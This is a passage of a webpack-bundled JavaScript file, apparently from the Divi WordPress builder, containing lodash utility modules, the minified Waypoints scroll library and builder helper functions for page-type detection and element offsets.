* _.isObjectLike(_.noop); * // => false * * _.isObjectLike(null); * // => false */ function isObjectLike(value) { return value != null && typeof value == 'object'; } module.exports = isObjectLike; /***/ }), /***/ "./includes/builder/node_modules/lodash/isString.js": /*!**********************************************************!*\ !*** ./includes/builder/node_modules/lodash/isString.js ***! \**********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var baseGetTag = __webpack_require__(/*! ./_baseGetTag */ "./includes/builder/node_modules/lodash/_baseGetTag.js"), isArray = __webpack_require__(/*! ./isArray */ "./includes/builder/node_modules/lodash/isArray.js"), isObjectLike = __webpack_require__(/*! ./isObjectLike */ "./includes/builder/node_modules/lodash/isObjectLike.js"); /** `Object#toString` result references. */ var stringTag = '[object String]'; /** * Checks if `value` is classified as a `String` primitive or object. * * @static * @since 0.1.0 * @memberOf _ * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a string, else `false`. * @example * * _.isString('abc'); * // => true * * _.isString(1); * // => false */ function isString(value) { return typeof value == 'string' || (!isArray(value) && isObjectLike(value) && baseGetTag(value) == stringTag); } module.exports = isString; /***/ }), /***/ "./includes/builder/node_modules/lodash/isSymbol.js": /*!**********************************************************!*\ !*** ./includes/builder/node_modules/lodash/isSymbol.js ***! \**********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var baseGetTag = __webpack_require__(/*! ./_baseGetTag */ "./includes/builder/node_modules/lodash/_baseGetTag.js"), isObjectLike = __webpack_require__(/*! ./isObjectLike */ "./includes/builder/node_modules/lodash/isObjectLike.js"); /** `Object#toString` result references. */ var symbolTag = '[object Symbol]'; /** * Checks if `value` is classified as a `Symbol` primitive or object. * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a symbol, else `false`. * @example * * _.isSymbol(Symbol.iterator); * // => true * * _.isSymbol('abc'); * // => false */ function isSymbol(value) { return typeof value == 'symbol' || (isObjectLike(value) && baseGetTag(value) == symbolTag); } module.exports = isSymbol; /***/ }), /***/ "./includes/builder/node_modules/lodash/isTypedArray.js": /*!**************************************************************!*\ !*** ./includes/builder/node_modules/lodash/isTypedArray.js ***! \**************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var baseIsTypedArray = __webpack_require__(/*! ./_baseIsTypedArray */ "./includes/builder/node_modules/lodash/_baseIsTypedArray.js"), baseUnary = __webpack_require__(/*! ./_baseUnary */ "./includes/builder/node_modules/lodash/_baseUnary.js"), nodeUtil = __webpack_require__(/*! ./_nodeUtil */ "./includes/builder/node_modules/lodash/_nodeUtil.js"); /* Node.js helper references. */ var nodeIsTypedArray = nodeUtil && nodeUtil.isTypedArray; /** * Checks if `value` is classified as a typed array. * * @static * @memberOf _ * @since 3.0.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a typed array, else `false`. * @example * * _.isTypedArray(new Uint8Array); * // => true * * _.isTypedArray([]); * // => false */ var isTypedArray = nodeIsTypedArray ? baseUnary(nodeIsTypedArray) : baseIsTypedArray; module.exports = isTypedArray; /***/ }), /***/ "./includes/builder/node_modules/lodash/keys.js": /*!******************************************************!*\ !*** ./includes/builder/node_modules/lodash/keys.js ***! \******************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var arrayLikeKeys = __webpack_require__(/*! ./_arrayLikeKeys */ "./includes/builder/node_modules/lodash/_arrayLikeKeys.js"), baseKeys = __webpack_require__(/*! ./_baseKeys */ "./includes/builder/node_modules/lodash/_baseKeys.js"), isArrayLike = __webpack_require__(/*! ./isArrayLike */ "./includes/builder/node_modules/lodash/isArrayLike.js"); /** * Creates an array of the own enumerable property names of `object`. * * **Note:** Non-object values are coerced to objects. See the * [ES spec](http://ecma-international.org/ecma-262/7.0/#sec-object.keys) * for more details. * * @static * @since 0.1.0 * @memberOf _ * @category Object * @param {Object} object The object to query. * @returns {Array} Returns the array of property names. * @example * * function Foo() { * this.a = 1; * this.b = 2; * } * * Foo.prototype.c = 3; * * _.keys(new Foo); * // => ['a', 'b'] (iteration order is not guaranteed) * * _.keys('hi'); * // => ['0', '1'] */ function keys(object) { return isArrayLike(object) ? arrayLikeKeys(object) : baseKeys(object); } module.exports = keys; /***/ }), /***/ "./includes/builder/node_modules/lodash/memoize.js": /*!*********************************************************!*\ !*** ./includes/builder/node_modules/lodash/memoize.js ***! \*********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var MapCache = __webpack_require__(/*! ./_MapCache */ "./includes/builder/node_modules/lodash/_MapCache.js"); /** Error message constants. */ var FUNC_ERROR_TEXT = 'Expected a function'; /** * Creates a function that memoizes the result of `func`. If `resolver` is * provided, it determines the cache key for storing the result based on the * arguments provided to the memoized function. By default, the first argument * provided to the memoized function is used as the map cache key. The `func` * is invoked with the `this` binding of the memoized function. * * **Note:** The cache is exposed as the `cache` property on the memoized * function. Its creation may be customized by replacing the `_.memoize.Cache` * constructor with one whose instances implement the * [`Map`](http://ecma-international.org/ecma-262/7.0/#sec-properties-of-the-map-prototype-object) * method interface of `clear`, `delete`, `get`, `has`, and `set`. * * @static * @memberOf _ * @since 0.1.0 * @category Function * @param {Function} func The function to have its output memoized. * @param {Function} [resolver] The function to resolve the cache key. * @returns {Function} Returns the new memoized function. * @example * * var object = { 'a': 1, 'b': 2 }; * var other = { 'c': 3, 'd': 4 }; * * var values = _.memoize(_.values); * values(object); * // => [1, 2] * * values(other); * // => [3, 4] * * object.a = 2; * values(object); * // => [1, 2] * * // Modify the result cache. * values.cache.set(object, ['a', 'b']); * values(object); * // => ['a', 'b'] * * // Replace `_.memoize.Cache`. * _.memoize.Cache = WeakMap; */ function memoize(func, resolver) { if (typeof func != 'function' || (resolver != null && typeof resolver != 'function')) { throw new TypeError(FUNC_ERROR_TEXT); } var memoized = function() { var args = arguments, key = resolver ? resolver.apply(this, args) : args[0], cache = memoized.cache; if (cache.has(key)) { return cache.get(key); } var result = func.apply(this, args); memoized.cache = cache.set(key, result) || cache; return result; }; memoized.cache = new (memoize.Cache || MapCache); return memoized; } // Expose `MapCache`. memoize.Cache = MapCache; module.exports = memoize; /***/ }), /***/ "./includes/builder/node_modules/lodash/stubFalse.js": /*!***********************************************************!*\ !*** ./includes/builder/node_modules/lodash/stubFalse.js ***! \***********************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** * This method returns `false`. * * @static * @memberOf _ * @since 4.13.0 * @category Util * @returns {boolean} Returns `false`. * @example * * _.times(2, _.stubFalse); * // => [false, false] */ function stubFalse() { return false; } module.exports = stubFalse; /***/ }), /***/ "./includes/builder/node_modules/lodash/toFinite.js": /*!**********************************************************!*\ !*** ./includes/builder/node_modules/lodash/toFinite.js ***! \**********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var toNumber = __webpack_require__(/*! ./toNumber */ "./includes/builder/node_modules/lodash/toNumber.js"); /** Used as references for various `Number` constants. */ var INFINITY = 1 / 0, MAX_INTEGER = 1.7976931348623157e+308; /** * Converts `value` to a finite number. * * @static * @memberOf _ * @since 4.12.0 * @category Lang * @param {*} value The value to convert. * @returns {number} Returns the converted number. * @example * * _.toFinite(3.2); * // => 3.2 * * _.toFinite(Number.MIN_VALUE); * // => 5e-324 * * _.toFinite(Infinity); * // => 1.7976931348623157e+308 * * _.toFinite('3.2'); * // => 3.2 */ function toFinite(value) { if (!value) { return value === 0 ? value : 0; } value = toNumber(value); if (value === INFINITY || value === -INFINITY) { var sign = (value < 0 ? -1 : 1); return sign * MAX_INTEGER; } return value === value ? value : 0; } module.exports = toFinite; /***/ }), /***/ "./includes/builder/node_modules/lodash/toInteger.js": /*!***********************************************************!*\ !*** ./includes/builder/node_modules/lodash/toInteger.js ***! \***********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var toFinite = __webpack_require__(/*! ./toFinite */ "./includes/builder/node_modules/lodash/toFinite.js"); /** * Converts `value` to an integer. * * **Note:** This method is loosely based on * [`ToInteger`](http://www.ecma-international.org/ecma-262/7.0/#sec-tointeger). * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to convert. * @returns {number} Returns the converted integer. * @example * * _.toInteger(3.2); * // => 3 * * _.toInteger(Number.MIN_VALUE); * // => 0 * * _.toInteger(Infinity); * // => 1.7976931348623157e+308 * * _.toInteger('3.2'); * // => 3 */ function toInteger(value) { var result = toFinite(value), remainder = result % 1; return result === result ? (remainder ? result - remainder : result) : 0; } module.exports = toInteger; /***/ }), /***/ "./includes/builder/node_modules/lodash/toNumber.js": /*!**********************************************************!*\ !*** ./includes/builder/node_modules/lodash/toNumber.js ***! \**********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var baseTrim = __webpack_require__(/*! ./_baseTrim */ "./includes/builder/node_modules/lodash/_baseTrim.js"), isObject = __webpack_require__(/*! ./isObject */ "./includes/builder/node_modules/lodash/isObject.js"), isSymbol = __webpack_require__(/*! ./isSymbol */ "./includes/builder/node_modules/lodash/isSymbol.js"); /** Used as references for various `Number` constants. */ var NAN = 0 / 0; /** Used to detect bad signed hexadecimal string values. */ var reIsBadHex = /^[-+]0x[0-9a-f]+$/i; /** Used to detect binary string values. */ var reIsBinary = /^0b[01]+$/i; /** Used to detect octal string values. */ var reIsOctal = /^0o[0-7]+$/i; /** Built-in method references without a dependency on `root`. */ var freeParseInt = parseInt; /** * Converts `value` to a number. * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to process. * @returns {number} Returns the number. * @example * * _.toNumber(3.2); * // => 3.2 * * _.toNumber(Number.MIN_VALUE); * // => 5e-324 * * _.toNumber(Infinity); * // => Infinity * * _.toNumber('3.2'); * // => 3.2 */ function toNumber(value) { if (typeof value == 'number') { return value; } if (isSymbol(value)) { return NAN; } if (isObject(value)) { var other = typeof value.valueOf == 'function' ? value.valueOf() : value; value = isObject(other) ? (other + '') : other; } if (typeof value != 'string') { return value === 0 ? value : +value; } value = baseTrim(value); var isBinary = reIsBinary.test(value); return (isBinary || reIsOctal.test(value)) ? freeParseInt(value.slice(2), isBinary ? 2 : 8) : (reIsBadHex.test(value) ? NAN : +value); } module.exports = toNumber; /***/ }), /***/ "./includes/builder/node_modules/lodash/toString.js": /*!**********************************************************!*\ !*** ./includes/builder/node_modules/lodash/toString.js ***! \**********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var baseToString = __webpack_require__(/*! ./_baseToString */ "./includes/builder/node_modules/lodash/_baseToString.js"); /** * Converts `value` to a string. An empty string is returned for `null` * and `undefined` values. The sign of `-0` is preserved. * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to convert. * @returns {string} Returns the converted string. * @example * * _.toString(null); * // => '' * * _.toString(-0); * // => '-0' * * _.toString([1, 2, 3]); * // => '1,2,3' */ function toString(value) { return value == null ? '' : baseToString(value); } module.exports = toString; /***/ }), /***/ "./includes/builder/node_modules/lodash/values.js": /*!********************************************************!*\ !*** ./includes/builder/node_modules/lodash/values.js ***! \********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var baseValues = __webpack_require__(/*! ./_baseValues */ "./includes/builder/node_modules/lodash/_baseValues.js"), keys = __webpack_require__(/*! ./keys */ "./includes/builder/node_modules/lodash/keys.js"); /** * Creates an array of the own enumerable string keyed property values of `object`. * * **Note:** Non-object values are coerced to objects. * * @static * @since 0.1.0 * @memberOf _ * @category Object * @param {Object} object The object to query. * @returns {Array} Returns the array of property values. * @example * * function Foo() { * this.a = 1; * this.b = 2; * } * * Foo.prototype.c = 3; * * _.values(new Foo); * // => [1, 2] (iteration order is not guaranteed) * * _.values('hi'); * // => ['h', 'i'] */ function values(object) { return object == null ? [] : baseValues(object, keys(object)); } module.exports = values; /***/ }), /***/ "./includes/builder/scripts/ext/waypoints.min.js": /*!*******************************************************!*\ !*** ./includes/builder/scripts/ext/waypoints.min.js ***! \*******************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /*! * Waypoints - 4.0.0 * Copyright © 2011-2015 Caleb Troughton * Licensed under the MIT license. * https://github.com/imakewebthings/waypoints/blog/master/licenses.txt * * Modified to adapt the latest jQuery version (v3 above) included on WordPress 5.6: * - (2020-12-15) - jQuery isFunction method is deprecated. */ !function(){"use strict";function t(o){if(!o)throw new Error("No options passed to Waypoint constructor");if(!o.element)throw new Error("No element option passed to Waypoint constructor");if(!o.handler)throw new Error("No handler option passed to Waypoint constructor");this.key="waypoint-"+e,this.options=t.Adapter.extend({},t.defaults,o),this.element=this.options.element,this.adapter=new t.Adapter(this.element),this.callback=o.handler,this.axis=this.options.horizontal?"horizontal":"vertical",this.enabled=this.options.enabled,this.triggerPoint=null,this.group=t.Group.findOrCreate({name:this.options.group,axis:this.axis}),this.context=t.Context.findOrCreateByElement(this.options.context),t.offsetAliases[this.options.offset]&&(this.options.offset=t.offsetAliases[this.options.offset]),this.group.add(this),this.context.add(this),i[this.key]=this,e+=1}var e=0,i={};t.prototype.queueTrigger=function(t){this.group.queueTrigger(this,t)},t.prototype.trigger=function(t){this.enabled&&this.callback&&this.callback.apply(this,t)},t.prototype.destroy=function(){this.context.remove(this),this.group.remove(this),delete i[this.key]},t.prototype.disable=function(){return this.enabled=!1,this},t.prototype.enable=function(){return this.context.refresh(),this.enabled=!0,this},t.prototype.next=function(){return this.group.next(this)},t.prototype.previous=function(){return this.group.previous(this)},t.invokeAll=function(t){var e=[];for(var o in i)e.push(i[o]);for(var n=0,r=e.length;r>n;n++)e[n][t]()},t.destroyAll=function(){t.invokeAll("destroy")},t.disableAll=function(){t.invokeAll("disable")},t.enableAll=function(){t.invokeAll("enable")},t.refreshAll=function(){t.Context.refreshAll()},t.viewportHeight=function(){return window.innerHeight||document.documentElement.clientHeight},t.viewportWidth=function(){return document.documentElement.clientWidth},t.adapters=[],t.defaults={context:window,continuous:!0,enabled:!0,group:"default",horizontal:!1,offset:0},t.offsetAliases={"bottom-in-view":function(){return this.context.innerHeight()-this.adapter.outerHeight()},"right-in-view":function(){return this.context.innerWidth()-this.adapter.outerWidth()}},window.Waypoint=t}(),function(){"use strict";function t(t){window.setTimeout(t,1e3/60)}function e(t){this.element=t,this.Adapter=n.Adapter,this.adapter=new this.Adapter(t),this.key="waypoint-context-"+i,this.didScroll=!1,this.didResize=!1,this.oldScroll={x:this.adapter.scrollLeft(),y:this.adapter.scrollTop()},this.waypoints={vertical:{},horizontal:{}},t.waypointContextKey=this.key,o[t.waypointContextKey]=this,i+=1,this.createThrottledScrollHandler(),this.createThrottledResizeHandler()}var i=0,o={},n=window.Waypoint,r=window.onload;e.prototype.add=function(t){var e=t.options.horizontal?"horizontal":"vertical";this.waypoints[e][t.key]=t,this.refresh()},e.prototype.checkEmpty=function(){var t=this.Adapter.isEmptyObject(this.waypoints.horizontal),e=this.Adapter.isEmptyObject(this.waypoints.vertical);t&&e&&(this.adapter.off(".waypoints"),delete o[this.key])},e.prototype.createThrottledResizeHandler=function(){function t(){e.handleResize(),e.didResize=!1}var e=this;this.adapter.on("resize.waypoints",function(){e.didResize||(e.didResize=!0,n.requestAnimationFrame(t))})},e.prototype.createThrottledScrollHandler=function(){function t(){e.handleScroll(),e.didScroll=!1}var e=this;this.adapter.on("scroll.waypoints",function(){(!e.didScroll||n.isTouch)&&(e.didScroll=!0,n.requestAnimationFrame(t))})},e.prototype.handleResize=function(){n.Context.refreshAll()},e.prototype.handleScroll=function(){var t={},e={horizontal:{newScroll:this.adapter.scrollLeft(),oldScroll:this.oldScroll.x,forward:"right",backward:"left"},vertical:{newScroll:this.adapter.scrollTop(),oldScroll:this.oldScroll.y,forward:"down",backward:"up"}};for(var i in e){var o=e[i],n=o.newScroll>o.oldScroll,r=n?o.forward:o.backward;for(var s in this.waypoints[i]){var a=this.waypoints[i][s],l=o.oldScroll<a.triggerPoint,h=o.newScroll>=a.triggerPoint,p=l&&h,u=!l&&!h;(p||u)&&(a.queueTrigger(r),t[a.group.id]=a.group)}}for(var c in t)t[c].flushTriggers();this.oldScroll={x:e.horizontal.newScroll,y:e.vertical.newScroll}},e.prototype.innerHeight=function(){return this.element==this.element.window?n.viewportHeight():this.adapter.innerHeight()},e.prototype.remove=function(t){delete this.waypoints[t.axis][t.key],this.checkEmpty()},e.prototype.innerWidth=function(){return this.element==this.element.window?n.viewportWidth():this.adapter.innerWidth()},e.prototype.destroy=function(){var t=[];for(var e in this.waypoints)for(var i in this.waypoints[e])t.push(this.waypoints[e][i]);for(var o=0,n=t.length;n>o;o++)t[o].destroy()},e.prototype.refresh=function(){var t,e=this.element==this.element.window,i=e?void 0:this.adapter.offset(),o={};this.handleScroll(),t={horizontal:{contextOffset:e?0:i.left,contextScroll:e?0:this.oldScroll.x,contextDimension:this.innerWidth(),oldScroll:this.oldScroll.x,forward:"right",backward:"left",offsetProp:"left"},vertical:{contextOffset:e?0:i.top,contextScroll:e?0:this.oldScroll.y,contextDimension:this.innerHeight(),oldScroll:this.oldScroll.y,forward:"down",backward:"up",offsetProp:"top"}};for(var r in t){var s=t[r];for(var a in this.waypoints[r]){var l,h,p,u,c,d=this.waypoints[r][a],f=d.options.offset,w=d.triggerPoint,y=0,g=null==w;d.element!==d.element.window&&(y=d.adapter.offset()[s.offsetProp]),"function"==typeof f?f=f.apply(d):"string"==typeof f&&(f=parseFloat(f),d.options.offset.indexOf("%")>-1&&(f=Math.ceil(s.contextDimension*f/100))),l=s.contextScroll-s.contextOffset,d.triggerPoint=y+l-f,h=w<s.oldScroll,p=d.triggerPoint>=s.oldScroll,u=h&&p,c=!h&&!p,!g&&u?(d.queueTrigger(s.backward),o[d.group.id]=d.group):!g&&c?(d.queueTrigger(s.forward),o[d.group.id]=d.group):g&&s.oldScroll>=d.triggerPoint&&(d.queueTrigger(s.forward),o[d.group.id]=d.group)}}return n.requestAnimationFrame(function(){for(var t in o)o[t].flushTriggers()}),this},e.findOrCreateByElement=function(t){return e.findByElement(t)||new e(t)},e.refreshAll=function(){for(var t in o)o[t].refresh()},e.findByElement=function(t){return o[t.waypointContextKey]},window.onload=function(){r&&r(),e.refreshAll()},n.requestAnimationFrame=function(e){var i=window.requestAnimationFrame||window.mozRequestAnimationFrame||window.webkitRequestAnimationFrame||t;i.call(window,e)},n.Context=e}(),function(){"use strict";function t(t,e){return t.triggerPoint-e.triggerPoint}function e(t,e){return e.triggerPoint-t.triggerPoint}function i(t){this.name=t.name,this.axis=t.axis,this.id=this.name+"-"+this.axis,this.waypoints=[],this.clearTriggerQueues(),o[this.axis][this.name]=this}var o={vertical:{},horizontal:{}},n=window.Waypoint;i.prototype.add=function(t){this.waypoints.push(t)},i.prototype.clearTriggerQueues=function(){this.triggerQueues={up:[],down:[],left:[],right:[]}},i.prototype.flushTriggers=function(){for(var i in this.triggerQueues){var o=this.triggerQueues[i],n="up"===i||"left"===i;o.sort(n?e:t);for(var r=0,s=o.length;s>r;r+=1){var a=o[r];(a.options.continuous||r===o.length-1)&&a.trigger([i])}}this.clearTriggerQueues()},i.prototype.next=function(e){this.waypoints.sort(t);var i=n.Adapter.inArray(e,this.waypoints),o=i===this.waypoints.length-1;return o?null:this.waypoints[i+1]},i.prototype.previous=function(e){this.waypoints.sort(t);var i=n.Adapter.inArray(e,this.waypoints);return i?this.waypoints[i-1]:null},i.prototype.queueTrigger=function(t,e){this.triggerQueues[e].push(t)},i.prototype.remove=function(t){var e=n.Adapter.inArray(t,this.waypoints);e>-1&&this.waypoints.splice(e,1)},i.prototype.first=function(){return this.waypoints[0]},i.prototype.last=function(){return this.waypoints[this.waypoints.length-1]},i.findOrCreate=function(t){return o[t.axis][t.name]||new i(t)},n.Group=i}(),function(){"use strict";function t(t){this.$element=e(t)}var e=window.jQuery,i=window.Waypoint;e.each(["innerHeight","innerWidth","off","offset","on","outerHeight","outerWidth","scrollLeft","scrollTop"],function(e,i){t.prototype[i]=function(){var t=Array.prototype.slice.call(arguments);return this.$element[i].apply(this.$element,t)}}),e.each(["extend","inArray","isEmptyObject"],function(i,o){t[o]=e[o]}),i.adapters.push({name:"jquery",Adapter:t}),i.Adapter=t}(),function(){"use strict";function t(t){return function(){var i=[],o=arguments[0];return "function"==typeof arguments[0]&&(o=t.extend({},arguments[1]),o.handler=arguments[0]),this.each(function(){var n=t.extend({},o,{element:this});"string"==typeof n.context&&(n.context=t(this).closest(n.context)[0]),i.push(new e(n))}),i}}var e=window.Waypoint;window.jQuery&&(window.jQuery.fn.waypoint=t(window.jQuery)),window.Zepto&&(window.Zepto.fn.waypoint=t(window.Zepto))}(); /***/ }), /***/ "./includes/builder/scripts/utils/utils.js": /*!*************************************************!*\ !*** ./includes/builder/scripts/utils/utils.js ***! \*************************************************/ /*! exports provided: isBuilderType, is, isFE, isVB, isBFB, isTB, isLBB, isDiviTheme, isExtraTheme, isLBP, isBlockEditor, isBuilder, getOffsets, maybeIncreaseEmitterMaxListeners, maybeDecreaseEmitterMaxListeners, registerFrontendComponent, setImportantInlineValue */ /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "isBuilderType", function() { return isBuilderType; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "is", function() { return is; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "isFE", function() { return isFE; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "isVB", function() { return isVB; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "isBFB", function() { return isBFB; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "isTB", function() { return isTB; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "isLBB", function() { return isLBB; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "isDiviTheme", function() { return isDiviTheme; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "isExtraTheme", function() { return isExtraTheme; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "isLBP", function() { return isLBP; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "isBlockEditor", function() { return isBlockEditor; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "isBuilder", function() { return isBuilder; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "getOffsets", function() { return getOffsets; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "maybeIncreaseEmitterMaxListeners", function() { return maybeIncreaseEmitterMaxListeners; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "maybeDecreaseEmitterMaxListeners", function() { return maybeDecreaseEmitterMaxListeners; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "registerFrontendComponent", function() { return registerFrontendComponent; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "setImportantInlineValue", function() { return setImportantInlineValue; }); /* harmony import */ var lodash_includes__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! lodash/includes */ "./includes/builder/node_modules/lodash/includes.js"); /* harmony import */ var lodash_includes__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(lodash_includes__WEBPACK_IMPORTED_MODULE_0__); /* harmony import */ var lodash_get__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! lodash/get */ "./includes/builder/node_modules/lodash/get.js"); /* harmony import */ var lodash_get__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(lodash_get__WEBPACK_IMPORTED_MODULE_1__); /* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! jquery */ "jquery"); /* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_2___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_2__); /* harmony import */ var _core_admin_js_frame_helpers__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! @core/admin/js/frame-helpers */ "./core/admin/js/frame-helpers.js"); function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } /** * IMPORTANT: Keep external dependencies as low as possible since this utils might be * imported by various frontend scripts; need to keep frontend script size low. */ // External dependencies // Internal dependencies /** * Check current page's builder Type. * * @since 4.6.0 * * @param {string} builderType Fe|vb|bfb|tb|lbb|lbp. * * @returns {bool} */ var isBuilderType = function isBuilderType(builderType) { return builderType === window.et_builder_utils_params.builderType; }; /** * Return condition value. * * @since 4.6.0 * * @param {string} conditionName * * @returns {bool} */ var is = function is(conditionName) { return window.et_builder_utils_params.condition[conditionName]; }; /** * Is current page Frontend. * * @since 4.6.0 * * @type {bool} */ var isFE = isBuilderType('fe'); /** * Is current page Visual Builder. * * @since 4.6.0 * * @type {bool} */ var isVB = isBuilderType('vb'); /** * Is current page BFB / New Builder Experience. * * @since 4.6.0 * * @type {bool} */ var isBFB = isBuilderType('bfb'); /** * Is current page Theme Builder. * * @since 4.6.0 * * @type {bool} */ var isTB = isBuilderType('tb'); /** * Is current page Layout Block Builder. * * @type {bool} */ var isLBB = isBuilderType('lbb'); /** * Is current page uses Divi Theme. * * @since 4.6.0 * * @type {bool} */ var isDiviTheme = is('diviTheme'); /** * Is current page uses Extra Theme. * * @since 4.6.0 * * @type {bool} */ var isExtraTheme = is('extraTheme'); /** * Is current page Layout Block Preview. * * @since 4.6.0 * * @type {bool} */ var isLBP = isBuilderType('lbp'); /** * Check if current window is block editor window (gutenberg editing page). * * @since 4.6.0 * * @type {bool} */ var isBlockEditor = 0 < jquery__WEBPACK_IMPORTED_MODULE_2___default()(_core_admin_js_frame_helpers__WEBPACK_IMPORTED_MODULE_3__["top_window"].document).find('.edit-post-layout__content').length; /** * Check if current window is builder window (VB, BFB, TB, LBB). * * @since 4.6.0 * * @type {bool} */ var isBuilder = lodash_includes__WEBPACK_IMPORTED_MODULE_0___default()(['vb', 'bfb', 'tb', 'lbb'], window.et_builder_utils_params.builderType); /** * Get offsets value of all sides. * * @since 4.6.0 * * @param {object} $selector JQuery selector instance. * @param {number} height * @param {number} width * * @returns {object} */ var getOffsets = function getOffsets($selector) { var width = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0; var height = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 0; // Return previously saved offset if sticky tab is active; retrieving actual offset contain risk // of incorrect offsets if sticky horizontal / vertical offset of relative position is modified. var isStickyTabActive = isBuilder && $selector.hasClass('et_pb_sticky') && 'fixed' !== $selector.css('position'); var cachedOffsets = $selector.data('et-offsets'); var cachedDevice = $selector.data('et-offsets-device'); var currentDevice = lodash_get__WEBPACK_IMPORTED_MODULE_1___default()(window.ET_FE, 'stores.window.breakpoint', ''); // Only return cachedOffsets if sticky tab is active and cachedOffsets is not undefined and // cachedDevice equal to currentDevice. if (isStickyTabActive && cachedOffsets !== undefined && cachedDevice === currentDevice) { return cachedOffsets; } // Get top & left offsets var offsets = $selector.offset(); // If no offsets found, return empty object if ('undefined' === typeof offsets) { return {}; } // FE sets the flag for sticky module which uses transform as classname on module wrapper while // VB, BFB, TB, and LB sets the flag on CSS output's <style> element because it can't modify // its parent. This compromises avoids the needs to extract transform rendering logic var hasTransform = isBuilder ? $selector.children('.et-fb-custom-css-output[data-sticky-has-transform="on"]').length > 0 : $selector.hasClass('et_pb_sticky--has-transform'); var top = 'undefined' === typeof offsets.top ? 0 : offsets.top; var left = 'undefined' === typeof offsets.left ? 0 : offsets.left; // If module is sticky module that uses transform, its offset calculation needs to be adjusted // because transform tends to modify the positioning of the module if (hasTransform) { // Calculate offset (relative to selector's parent) AFTER it is affected by transform // NOTE: Can't use jQuery's position() because it considers margin-left `auto` which causes issue // on row thus this manually calculate the difference between element and its parent's offset // @see https://github.com/jquery/jquery/blob/1.12-stable/src/offset.js#L149-L155 var parentOffsets = $selector.parent().offset(); var transformedPosition = { top: offsets.top - parentOffsets.top, left: offsets.left - parentOffsets.left }; // Calculate offset (relative to selector's parent) BEFORE it is affected by transform var preTransformedPosition = { top: $selector[0].offsetTop, left: $selector[0].offsetLeft }; // Update offset's top value top += preTransformedPosition.top - transformedPosition.top; offsets.top = top; // Update offset's left value left += preTransformedPosition.left - transformedPosition.left; offsets.left = left; } // Manually calculate right & bottom offsets offsets.right = left + width; offsets.bottom = top + height; // Save copy of the offset on element's .data() in case of scenario where retrieving actual // offset value will lead to incorrect offset value (eg. sticky tab active with position offset) $selector.data('et-offsets', offsets); // Add current device to cache if ('' !== currentDevice) { $selector.data('et-offsets-device', offsets); } return offsets; }; /** * Increase EventEmitter's max listeners if lister count is about to surpass the max listeners limit * IMPORTANT: Need to be placed BEFORE `.on()`. * * @since 4.6.0 * @param {EventEmitter} emitter * @param eventName * @param {string} EventName */ var maybeIncreaseEmitterMaxListeners = function maybeIncreaseEmitterMaxListeners(emitter, eventName) { var currentCount = emitter.listenerCount(eventName); var maxListeners = emitter.getMaxListeners(); if (currentCount === maxListeners) { emitter.setMaxListeners(maxListeners + 1); } }; /** * Decrease EventEmitter's max listeners if listener count is less than max listener limit and above * 10 (default max listener limit). If listener count is less than 10, max listener limit will * remain at 10 * IMPORTANT: Need to be placed AFTER `.removeListener()`. * * @since 4.6.0 * * @param {EventEmitter} emitter * @param {string} eventName */ var maybeDecreaseEmitterMaxListeners = function maybeDecreaseEmitterMaxListeners(emitter, eventName) { var currentCount = emitter.listenerCount(eventName); var maxListeners = emitter.getMaxListeners(); if (maxListeners > 10) { 